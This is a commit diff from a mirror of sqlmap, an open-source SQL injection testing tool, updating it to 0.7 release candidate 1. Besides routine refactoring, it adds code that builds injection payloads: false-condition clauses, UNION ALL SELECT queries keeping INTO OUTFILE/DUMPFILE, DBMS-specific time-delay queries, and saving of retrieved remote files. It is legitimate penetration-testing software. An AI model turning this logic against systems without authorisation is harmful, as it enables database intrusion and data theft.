mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-29 10:59:03 +00:00
Updated to sqlmap 0.7 release candidate 1
This commit is contained in:
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -47,28 +47,32 @@ class Agent:
|
||||
temp.stop = randomStr(6)
|
||||
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
falseValue = ""
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
|
||||
if negative == True or conf.paramNegative == True:
|
||||
negValue = "-"
|
||||
elif falseCond == True or conf.paramFalseCond == True:
|
||||
randInt = randomInt()
|
||||
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injPlace == "User-Agent":
|
||||
retValue = kb.injParameter.replace(kb.injParameter,
|
||||
"%s%s" % (negValue, kb.injParameter + newValue))
|
||||
"%s%s" % (negValue, kb.injParameter + falseValue + newValue))
|
||||
elif kb.injParameter:
|
||||
paramString = conf.parameters[kb.injPlace]
|
||||
paramDict = conf.paramDict[kb.injPlace]
|
||||
value = paramDict[kb.injParameter]
|
||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
|
||||
"%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == "User-Agent":
|
||||
@@ -259,6 +263,7 @@ class Agent:
|
||||
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
@@ -267,6 +272,8 @@ class Agent:
|
||||
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
||||
elif fieldsSelectDistinct:
|
||||
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
||||
elif fieldsSelectCase:
|
||||
fieldsToCastStr = fieldsSelectCase.groups()[0]
|
||||
elif fieldsSelectFrom:
|
||||
fieldsToCastStr = fieldsSelectFrom.groups()[0]
|
||||
elif fieldsSelect:
|
||||
@@ -281,10 +288,25 @@ class Agent:
|
||||
#if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
# fieldsSelectFrom = None
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||
|
||||
|
||||
def concatQuery(self, query):
|
||||
def simpleConcatQuery(self, query1, query2):
|
||||
concatenatedQuery = ""
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
||||
|
||||
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||
concatenatedQuery = "%s||%s" % (query1, query2)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
concatenatedQuery = "%s+%s" % (query1, query2)
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
|
||||
def concatQuery(self, query, unpack=True):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
casted and concatenated query string.
|
||||
@@ -310,54 +332,67 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
concatQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
if unpack == True:
|
||||
concatenatedQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
else:
|
||||
concatenatedQuery = query
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
if fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery += ",'%s')" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery += ",'%s')" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery += ",'%s')" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
if fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery += "||'%s'" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery += "||'%s'" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery += "||'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||
concatQuery += " FROM DUAL"
|
||||
if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||
concatenatedQuery += " FROM DUAL"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if fieldsSelectTop:
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
|
||||
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery += "+'%s'" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery += "+'%s'" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery += "+'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
return concatQuery
|
||||
return concatenatedQuery
|
||||
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None):
|
||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
@@ -398,6 +433,12 @@ class Agent:
|
||||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
|
||||
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
|
||||
|
||||
if intoRegExp:
|
||||
intoRegExp = intoRegExp.group(1)
|
||||
query = query[:query.index(intoRegExp)]
|
||||
|
||||
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
||||
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
||||
|
||||
@@ -406,15 +447,15 @@ class Agent:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += query
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
inbandQuery += nullChar
|
||||
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[conditionIndex:]
|
||||
|
||||
@@ -422,6 +463,9 @@ class Agent:
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
if intoRegExp:
|
||||
inbandQuery += intoRegExp
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -27,19 +27,22 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
import urlparse
|
||||
|
||||
|
||||
from lib.contrib import magic
|
||||
from lib.core.convert import urldecode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
@@ -137,8 +140,9 @@ def formatDBMSfp(versions=None):
|
||||
return kb.dbms
|
||||
|
||||
|
||||
def __formatFingerprintString(values, chain=" or "):
|
||||
def formatFingerprintString(values, chain=" or "):
|
||||
string = "|".join([v for v in values])
|
||||
|
||||
return string.replace("|", chain)
|
||||
|
||||
|
||||
@@ -175,22 +179,22 @@ def formatFingerprint(target, info):
|
||||
infoStr = ""
|
||||
|
||||
if info and "type" in info:
|
||||
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
|
||||
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
|
||||
|
||||
if "distrib" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["distrib"])
|
||||
infoStr += " %s" % formatFingerprintString(info["distrib"])
|
||||
|
||||
if "release" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["release"])
|
||||
infoStr += " %s" % formatFingerprintString(info["release"])
|
||||
|
||||
if "sp" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["sp"])
|
||||
infoStr += " %s" % formatFingerprintString(info["sp"])
|
||||
|
||||
if "codename" in info:
|
||||
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
|
||||
infoStr += " (%s)" % formatFingerprintString(info["codename"])
|
||||
|
||||
if "technology" in info:
|
||||
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
|
||||
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
|
||||
|
||||
return infoStr
|
||||
|
||||
@@ -307,6 +311,21 @@ def dataToDumpFile(dumpFile, data):
|
||||
dumpFile.flush()
|
||||
|
||||
|
||||
def dataToOutFile(data):
|
||||
if not data:
|
||||
return "No data retrieved"
|
||||
|
||||
rFile = filePathToString(conf.rFile)
|
||||
rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
|
||||
rFileFP = open(rFilePath, "wb")
|
||||
|
||||
rFileFP.write(data)
|
||||
rFileFP.flush()
|
||||
rFileFP.close()
|
||||
|
||||
return rFilePath
|
||||
|
||||
|
||||
def strToHex(string):
|
||||
"""
|
||||
@param string: string to be converted into its hexadecimal value.
|
||||
@@ -377,6 +396,9 @@ def readInput(message, default=None):
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if "\n" in message:
|
||||
message += "\n> "
|
||||
|
||||
if conf.batch and default:
|
||||
infoMsg = "%s%s" % (message, str(default))
|
||||
logger.info(infoMsg)
|
||||
@@ -386,7 +408,7 @@ def readInput(message, default=None):
|
||||
|
||||
data = default
|
||||
else:
|
||||
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
|
||||
data = raw_input(message)
|
||||
|
||||
return data
|
||||
|
||||
@@ -418,7 +440,7 @@ def randomInt(length=4):
|
||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||
|
||||
|
||||
def randomStr(length=5):
|
||||
def randomStr(length=5, lowercase=False):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
@@ -427,7 +449,12 @@ def randomStr(length=5):
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
if lowercase == True:
|
||||
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
||||
else:
|
||||
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
|
||||
return rndStr
|
||||
|
||||
|
||||
def sanitizeStr(string):
|
||||
@@ -469,8 +496,8 @@ def banner():
|
||||
"""
|
||||
|
||||
print """
|
||||
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
%s
|
||||
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
""" % VERSION_STRING
|
||||
|
||||
|
||||
@@ -509,8 +536,10 @@ def cleanQuery(query):
|
||||
|
||||
def setPaths():
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
@@ -629,7 +658,7 @@ def getRange(count, dump=False, plusOne=False):
|
||||
return indexRange
|
||||
|
||||
|
||||
def parseUnionPage(output, expression, partial=False, condition=None):
|
||||
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
||||
data = []
|
||||
|
||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||
@@ -653,7 +682,8 @@ def parseUnionPage(output, expression, partial=False, condition=None):
|
||||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||
|
||||
output = set(output)
|
||||
if sort:
|
||||
output = set(output)
|
||||
|
||||
for entry in output:
|
||||
info = []
|
||||
@@ -677,3 +707,99 @@ def parseUnionPage(output, expression, partial=False, condition=None):
|
||||
data = data[0]
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def getDelayQuery():
|
||||
query = None
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
if not kb.data.banner:
|
||||
conf.dbmsHandler.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
|
||||
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
|
||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||
else:
|
||||
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
||||
else:
|
||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||
|
||||
return query
|
||||
|
||||
|
||||
def getLocalIP():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((conf.hostname, conf.port))
|
||||
ip, _ = s.getsockname()
|
||||
s.close()
|
||||
|
||||
return ip
|
||||
|
||||
|
||||
def getRemoteIP():
|
||||
return socket.gethostbyname(conf.hostname)
|
||||
|
||||
|
||||
def getFileType(filePath):
|
||||
magicFileType = magic.from_file(filePath)
|
||||
|
||||
if "ASCII" in magicFileType or "text" in magicFileType:
|
||||
return "text"
|
||||
else:
|
||||
return "binary"
|
||||
|
||||
|
||||
def pollProcess(process):
|
||||
while True:
|
||||
dataToStdout(".")
|
||||
time.sleep(1)
|
||||
|
||||
returncode = process.poll()
|
||||
|
||||
if returncode != None:
|
||||
if returncode == 0:
|
||||
dataToStdout(" done\n")
|
||||
else:
|
||||
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
|
||||
|
||||
break
|
||||
|
||||
|
||||
def getCharset(charsetType=None):
|
||||
asciiTbl = []
|
||||
|
||||
if charsetType == None:
|
||||
asciiTbl = range(0, 128)
|
||||
|
||||
# 0 or 1
|
||||
elif charsetType == 1:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 50))
|
||||
|
||||
# Digits
|
||||
elif charsetType == 2:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 58))
|
||||
|
||||
# Hexadecimal
|
||||
elif charsetType == 3:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 58))
|
||||
asciiTbl.extend(range(64, 71))
|
||||
asciiTbl.extend(range(96, 103))
|
||||
|
||||
# Characters
|
||||
elif charsetType == 4:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(64, 91))
|
||||
asciiTbl.extend(range(96, 123))
|
||||
|
||||
# Characters and digits
|
||||
elif charsetType == 5:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 58))
|
||||
asciiTbl.extend(range(64, 91))
|
||||
asciiTbl.extend(range(96, 123))
|
||||
|
||||
return asciiTbl
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -83,8 +83,11 @@ def urldecode(string):
|
||||
return unquotedString
|
||||
|
||||
|
||||
def urlencode(string, safe=":/?%&="):
|
||||
def urlencode(string, safe=":/?%&=", convall=False):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.quote(string, safe)
|
||||
if convall == True:
|
||||
return urllib.quote(string)
|
||||
else:
|
||||
return urllib.quote(string, safe)
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -28,7 +28,6 @@ import re
|
||||
import os
|
||||
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import filePathToString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
|
||||
@@ -45,18 +44,10 @@ class Dump:
|
||||
self.__outputFP = None
|
||||
|
||||
|
||||
def __write(self, data, n=True, rFile=False):
|
||||
def __write(self, data, n=True):
|
||||
if n:
|
||||
print data
|
||||
self.__outputFP.write("%s\n" % data)
|
||||
|
||||
# TODO: do not duplicate queries output in the text file, check
|
||||
# before if the data is already within the text file content
|
||||
if rFile and conf.rFile:
|
||||
rFile = filePathToString(conf.rFile)
|
||||
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
|
||||
rFileFP.write(data)
|
||||
rFileFP.close()
|
||||
else:
|
||||
print data,
|
||||
self.__outputFP.write("%s " % data)
|
||||
@@ -71,35 +62,38 @@ class Dump:
|
||||
self.__outputFP = open(self.__outputFile, "a")
|
||||
|
||||
|
||||
def string(self, header, data):
|
||||
def string(self, header, data, sort=True):
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data)
|
||||
self.lister(header, data, sort)
|
||||
|
||||
return
|
||||
|
||||
data = str(data)
|
||||
|
||||
if data:
|
||||
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
||||
data = data.replace("__START__", "").replace("__STOP__", "")
|
||||
data = data.replace("__DEL__", ", ")
|
||||
|
||||
if "\n" in data:
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s: '%s'\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s:\tNone\n" % header)
|
||||
|
||||
|
||||
def lister(self, header, elements):
|
||||
def lister(self, header, elements, sort=True):
|
||||
if elements:
|
||||
self.__write("%s [%d]:" % (header, len(elements)))
|
||||
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
if sort == True:
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
|
||||
for element in elements:
|
||||
if isinstance(element, str):
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -26,6 +26,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import sys
|
||||
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import PYVERSION
|
||||
from lib.core.settings import VERSION
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
@@ -93,10 +95,10 @@ class sqlmapValueException(Exception):
|
||||
def unhandledException():
|
||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "the command line and the following text and send by e-mail "
|
||||
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
|
||||
errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will "
|
||||
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
|
||||
errMsg += "Python version: %s\n" % sys.version.split()[0]
|
||||
errMsg += "Operating system: %s" % sys.platform
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Operating system: %s" % PLATFORM
|
||||
return errMsg
|
||||
|
||||
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
